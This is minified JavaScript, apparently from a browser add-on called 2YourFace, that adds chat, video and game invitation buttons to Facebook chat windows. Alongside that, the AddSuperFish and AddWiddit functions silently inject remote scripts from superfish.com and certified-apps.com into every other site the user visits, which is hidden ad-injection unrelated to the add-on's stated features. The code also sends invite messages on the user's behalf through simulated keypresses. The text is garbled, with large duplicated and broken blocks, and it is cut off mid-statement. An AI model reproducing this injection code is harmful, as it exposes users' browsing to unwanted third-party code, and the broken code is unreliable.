style=\"background-color:white;border:0px;\" />")+'</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; c=a.position();d=document.body.clientWidth;d=50>c.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,c){var d=a.innerHTML;-1!=d.indexOf(gVideoCallInviteMsgPrefix)&&(d=IsMe(a)?d="You have invited "+c+" to a Video Chat":c+" invited You to a Video Chat <a href='javascript:StartVideo("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gPhoneCallInviteMsg;if(sendMsg(c,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c));TextAreaControl.getInstance(d[0]).setValue(c)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gVideoCallInviteMsg;if(sendMsg(c,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c));TextAreaControl.getInstance(d[0]).setValue(c)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var c=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();c.focus();c[0].value=a;c.focus();var d;document.createEvent?(d=document.createEvent("Events"),d.initEvent("keydown",!0,!0)):d=document.createEventObject();d.view=window;d.altKey=!1;d.ctrlKey=!1;d.shiftKey=!1;d.metaKey=!1;d.keyCode=13;d.which=13;document.createEvent?c[0].dispatchEvent(d): c[0].fireEvent("onkeydown",d)}return!0}function OpenGame(a,b,c){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var d=Env.user;if(sendMsg(b,c))StartGame(a,d,c,gMyName);else{var e=window.jQuery("#VideoChatToolbar_"+c,document).next().children().children();e.focus();e.keydown(function(b));TextAreaControl.getInstance(e[0]).setValue(b)}} function AcceptGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+c+"&second="+b+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+c+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,c,d){b="<style type='text/css' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+ c+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+d+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">')+ "<div id='ex5' style='background-color:gray;height:220px;width:400px;' ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",d,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",d,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",d,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", d,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",d,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",d,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",d,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",d,a);b+='</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>'; a=window.jQuery("div#ChatDialog",document);a.html(b);d=a[0];d.style.visibility="visible";d.style.display="block";d=document.body.scrollTop;b=a.position();c=document.body.clientWidth;c=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:d+200})} function GetGameOfferHTML(a,b,c,d){return"<a style='top:-20px;' href=\"javascript:OpenGame("+a+",'"+c+"' ,"+d+')" ><img style="width:70px;height:70px;" src=\''+b+"' title=\"Invite "+c+" to play "+GetGameName(a)+'" /></a>'};

AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery)null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a)var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteGames('+c+',"'+b+'");\' ><img style="width:24px;height:20px;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:155px;top:-20px;cursor:pointer" ><a href=\'javascript:SendSmiley('+c+');\' ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to '+b+'" /></a></div>')+'<div style="width:24px;height:30px;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>';c=a.parent().html();a.next().children(); -1==c.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,c){for(var a=window.jQuery("div.fbChatMessage.fsm",a),d=0;d<a.length;d++)TryParseInvitation(a[d],c,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,c){TryParseSmileyInvitation(a,b,c)||TryParsePhoneCallInvite(a,b,c)||TryParseVideoInvite(a,b,c)||TryParseGameInvite(a,b,c)} function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,c=a.indexOf(".");return a.substring(b,c)}return""} function TryParseGameInvite(a,b,c){var d=a.innerHTML;if(-1!=d.indexOf(gGameInviteMsgPrefix)){var e=IsMe(a),d=GetGameFromMessage(d);e?d="You have invited "+c+" to play "+d:(e=GetGameID(d),d=c+" invited You to Play "+d+" <a href='javascript:AcceptGame("+e+',"'+Env.user+'","'+b+'","'+gMyName+"\")' > Accept</a>");a.innerHTML=d;return!0}return!1} function TryParsePhoneCallInvite(a,b,c){var d=a.innerHTML;return-1!=d.indexOf(gPhoneCallInviteMsgPrefix)?(d=IsMe(a)?"You have invited "+c+" to an Audio Chat":c+" invited You to an Audio Chat <a href='javascript:StartPhone("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,c,"Video Chat")}function OpenVoiceDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,c,"Audio Chat")} function OpenDialog(a,b,c,d,e,i){b='<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">'+i+' - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+d+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+ e+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">'+ ("<iframe src='"+a+"' width='"+b+"' height='"+c+"' scrolling='no' border='no' style=\"background-color:white;border:0px;\" />")+'</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; c=a.position();d=document.body.clientWidth;d=50>c.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset()}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,c){var d=a.innerHTML;-1!=d.indexOf(gVideoCallInviteMsgPrefix)&&(d=IsMe(a)?d="You have invited "+c+" to a Video Chat":c+" invited You to a Video Chat <a href='javascript:StartVideo("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gPhoneCallInviteMsg;if(sendMsg(c,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gVideoCallInviteMsg;if(sendMsg(c,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var c=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();c.focus();c[0].value=a;c.focus();var d;document.createEvent?(d=document.createEvent("Events"),d.initEvent("keydown",!0,!0)):d=document.createEventObject();d.view=window;d.altKey=!1;d.ctrlKey=!1;d.shiftKey=!1;d.metaKey=!1;d.keyCode=13;d.which=13;document.createEvent?c[0].dispatchEvent(d): c[0].fireEvent("onkeydown",d)}return!0}function OpenGame(a,b,c){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var d=Env.user;if(sendMsg(b,c))StartGame(a,d,c,gMyName);else{var e=window.jQuery("#VideoChatToolbar_"+c,document).next().children().children();e.focus();e.keydown(function(b){13==b.which&&(StartGame(a,d,c,gMyName),e.unbind(!1))});TextAreaControl.getInstance(e[0]).setValue(b)}} function AcceptGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+c+"&second="+b+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+c+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,c,d){b="<style type='text/css' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+ c+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+d+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">')+ "<div id='ex5' style='background-color:gray;height:220px;width:400px;' ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",d,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",d,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",d,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", d,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",d,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",d,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",d,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",d,a);b+='</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>'; a=window.jQuery("div#ChatDialog",document);a.html(b);d=a[0];d.style.visibility="visible";d.style.display="block";d=document.body.scrollTop;b=a.position();c=document.body.clientWidth;c=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:d+200})} function GetGameOfferHTML(a,b,c,d){return"<a style='top:-20px;' href=\"javascript:OpenGame("+a+",'"+c+"' ,"+d+')" ><img style="width:70px;height:70px;" src=\''+b+"' title=\"Invite "+c+" to play "+GetGameName(a)+'" /></a>'};AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a){var f=d.innerHTML,h="/messages/",g=f.indexOf(h);-1!=g?(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)):(h="?id=",g=f.indexOf(h),-1!=g&&(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)))}var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function 